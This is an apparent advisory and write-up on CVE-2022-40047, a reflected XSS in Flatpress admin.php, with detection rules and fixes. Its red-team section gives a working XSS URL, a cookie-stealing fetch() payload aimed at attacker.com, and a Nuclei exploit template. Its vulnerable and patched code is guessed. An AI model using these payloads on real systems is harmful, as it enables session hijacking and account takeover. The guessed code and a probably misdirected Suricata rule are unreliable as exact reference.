CVE-2022-40047

Executive Summary

CVE-2022-40047 is a reflected Cross-Site Scripting (XSS) vulnerability in Flatpress v1.2.1, a flat-file blogging platform. The flaw resides in the page parameter of /flatpress/admin.php, allowing an authenticated attacker to inject arbitrary JavaScript into the admin panel. When a victim administrator visits a crafted URL, the injected script executes in their browser context, potentially leading to session hijacking, credential theft, or unauthorized administrative actions. The vulnerability has a CVSS v3.1 score of 5.4 (Medium) and is confirmed exploitable via the provided Nuclei template. No official patch exists, and the vendor has not responded to the issue.

Supply Chain & Package Security

Flatpress is a PHP-based application distributed via GitHub and its official website. There is no package manager (NPM, PyPI, Go, Ruby) involved. The risk is limited to direct installation of the vulnerable version (1.2.1) from the source repository. Users should verify the integrity of their installation and apply manual mitigations.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: Low (PR:L) – Attacker needs valid admin credentials.
• User Interaction: Required (UI:R) – Victim must click the crafted link.
• Scope: Changed (S:C) – Impact extends beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure.
• Integrity Impact: Low (I:L) – Limited modification possible.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. Exploitation requires authentication and user interaction, but the impact can lead to full admin account compromise in a blog context.

Deep Dive & Mechanics

The vulnerability exists in the admin.php script, which handles administrative functions. The page parameter is used to load specific content pages (e.g., static pages, entries). In Flatpress v1.2.1, the value of the page parameter is reflected directly into the HTML response without proper sanitization or encoding. An attacker can inject JavaScript by crafting a URL like:

/admin.php?p=static&action=write&page=%22onfocus%3d%22alert%28document.domain%29%22autofocus%3d%22zr4da

When decoded, the page parameter contains:

"onfocus="alert(document.domain)"autofocus="zr4da

This payload uses the onfocus event handler and autofocus attribute to execute JavaScript when the page loads. The injected code runs in the context of the victim's session, allowing the attacker to steal cookies, perform actions on behalf of the admin, or deface the blog.

The root cause is the lack of output encoding in the page parameter. The application likely uses echo $_GET['page'] or similar without htmlspecialchars() or equivalent sanitization.

Vulnerable vs. Patched Code

Vulnerable Code (Flatpress v1.2.1):

// admin.php (simplified)
$page = $_GET['page'];
echo "<div id='content'>$page</div>";

Patched Code (Manual Fix):

// admin.php (patched)
$page = htmlspecialchars($_GET['page'], ENT_QUOTES, 'UTF-8');
echo "<div id='content'>$page</div>";

The patched version uses htmlspecialchars() to encode special characters (<, >, ", ', &) into their HTML entities, preventing script injection. Since no official patch exists, administrators must apply this fix manually.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Valid admin credentials for Flatpress v1.2.1.
• Network access to the target admin panel.

Exploitation Steps:

1. Authenticate: Log in to the Flatpress admin panel using valid credentials.
2. Craft Payload: Use the following URL to trigger XSS:

   http://target/flatpress/admin.php?p=static&action=write&page=%22onfocus%3d%22alert%28document.domain%29%22autofocus%3d%22zr4da
   

3. Deliver Payload: Send the crafted URL to a victim admin (e.g., via email or social engineering).
4. Execute: When the victim clicks the link, the JavaScript executes in their browser, allowing the attacker to steal session cookies or perform actions.

Advanced Payload Example:

http://target/flatpress/admin.php?p=static&action=write&page=%22onfocus%3d%22fetch%28%27https%3A%2F%2Fattacker.com%2Fsteal%3Fcookie%3D%27%2Bdocument.cookie%29%22autofocus%3d%22x

Blue Team

Detection Steps:

1. Monitor Logs: Check web server access logs for requests to /admin.php with suspicious page parameters containing encoded HTML or JavaScript.
2. Analyze Traffic: Look for patterns like onfocus, autofocus, alert(, or %22 in the page parameter.
3. Review Admin Activity: Audit admin panel access logs for unusual URLs or repeated failed login attempts.

Mitigation in Lab:

• Apply the manual patch to admin.php.
• Restrict admin panel access to trusted IPs.
• Implement Content Security Policy (CSP) headers to block inline scripts.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /admin.php with page parameter containing %22onfocus%3d%22 or %22autofocus%3d%22.
  • Outbound connections from the server to attacker-controlled domains (e.g., for cookie exfiltration).
• File IOCs:
  • Modified admin.php file with injected JavaScript (if attacker gains write access).
• Log IOCs:
  • Web server logs showing GET /admin.php?p=static&action=write&page=%22onfocus%3d%22... with status 200.

Detection Engineering

YARA Rule

rule CVE_2022_40047_Flatpress_XSS {
    meta:
        description = "Detects exploitation attempts of CVE-2022-40047 in Flatpress admin.php"
        author = "Valters IT"
        date = "2025-04-10"
        severity = "medium"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2022-40047"
    strings:
        $xss_payload1 = "onfocus=" ascii wide nocase
        $xss_payload2 = "autofocus=" ascii wide nocase
        $xss_payload3 = "alert(" ascii wide nocase
        $admin_php = "admin.php" ascii wide nocase
        $page_param = "page=" ascii wide nocase
    condition:
        all of ($admin_php, $page_param) and 1 of ($xss_payload*)
}

Sigma Rule

title: CVE-2022-40047 Flatpress Reflected XSS Detection
id: 8a3b2c1d-4e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests targeting Flatpress admin.php with XSS payloads in the page parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: accesslog
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - 'admin.php'
            - 'page='
            - 'onfocus='
            - 'autofocus='
            - 'alert('
    condition: selection
falsepositives:
    - Legitimate use of 'alert' in page names (unlikely)
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2022-40047 Flatpress Reflected XSS Attempt";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"/admin.php"; http_uri;
    content:"page="; http_uri;
    content:"onfocus="; http_uri;
    content:"autofocus="; http_uri;
    classtype:web-application-attack;
    sid:10000001;
    rev:1;
    reference:cve,2022-40047;
)

Nuclei Template (Provided)

id: CVE-2022-40047

info:
  name: Flatpress < v1.2.1 - Cross Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    Flatpress v1.2.1 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the page parameter at /flatpress/admin.php.
  impact: |
    Authenticated attackers can inject malicious JavaScript through the page parameter in admin.php that executes in other users' browsers, potentially stealing session tokens or performing unauthorized actions in Flatpress blog administration.
  remediation: |
    Update Flatpress to a version later than 1.2.1 that properly sanitizes and encodes the page parameter in admin.php.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-40047
    - https://github.com/flatpressblog/flatpress/issues/153
    - http://flatpress.com
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2022-40047
    cwe-id: CWE-79
    epss-score: 0.24491
    epss-percentile: 0.96138
    cpe: cpe:2.3:a:flatpress:flatpress:1.2.1:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: flatpress
    product: flatpress
    shodan-query:
      - http.html:"flatpress"
      - http.favicon.hash:-1189292869
    fofa-query:
      - body="flatpress"
      - icon_hash=-1189292869
  tags: cve,cve2022,flatpress,authenticated,xss,intrusive,vuln
variables:
  randstring: "{{to_lower(rand_base(16))}}"

http:
  - raw:
      - |
        POST /login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{randstring}}

        ------WebKitFormBoundary{{randstring}}
        Content-Disposition: form-data; name="user"

        {{username}}
        ------WebKitFormBoundary{{randstring}}
        Content-Disposition: form-data; name="pass"

        {{password}}
        ------WebKitFormBoundary{{randstring}}
        Content-Disposition: form-data; name="submit"

        Login
        ------WebKitFormBoundary{{randstring}}--
      - |
        GET /admin.php?p=static&action=write&page=%22onfocus%3d%22alert%28document.domain%29%22autofocus%3d%22zr4da HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(body_2, "flatpress")'
          - 'contains(content_type_2, "text/html")'
          - 'contains(body_2, "onfocus=\"alert(document.domain)")'
        condition: and
# digest: 4a0a004730450220416f6dac727ec87f91c853166f707f8e3062ab0e09fc0920f6d27823f440d34b0221009115385a4cf65ac74899ffc212dc5bc7f579634d37336179a9d1211601b74064:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

Immediate Actions:

1. Manual Code Fix: Edit admin.php and wrap all $_GET['page'] outputs with htmlspecialchars().
2. Input Validation: Restrict the page parameter to alphanumeric characters and underscores only.
3. Content Security Policy: Add the following HTTP header to block inline scripts:

   Content-Security-Policy: default-src 'self'; script-src 'self'
   

4. Access Control: Limit admin panel access to trusted IPs using firewall rules or .htaccess.

Long-Term Recommendations:

• Monitor the Flatpress GitHub repository for an official patch.
• Consider migrating to a maintained alternative if no patch is released.
• Implement Web Application Firewall (WAF) rules to block XSS payloads.

Valters IT Signature:

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

{/* [Security Hash: 0F2EC25E8CB1CC0615B69B6B] */}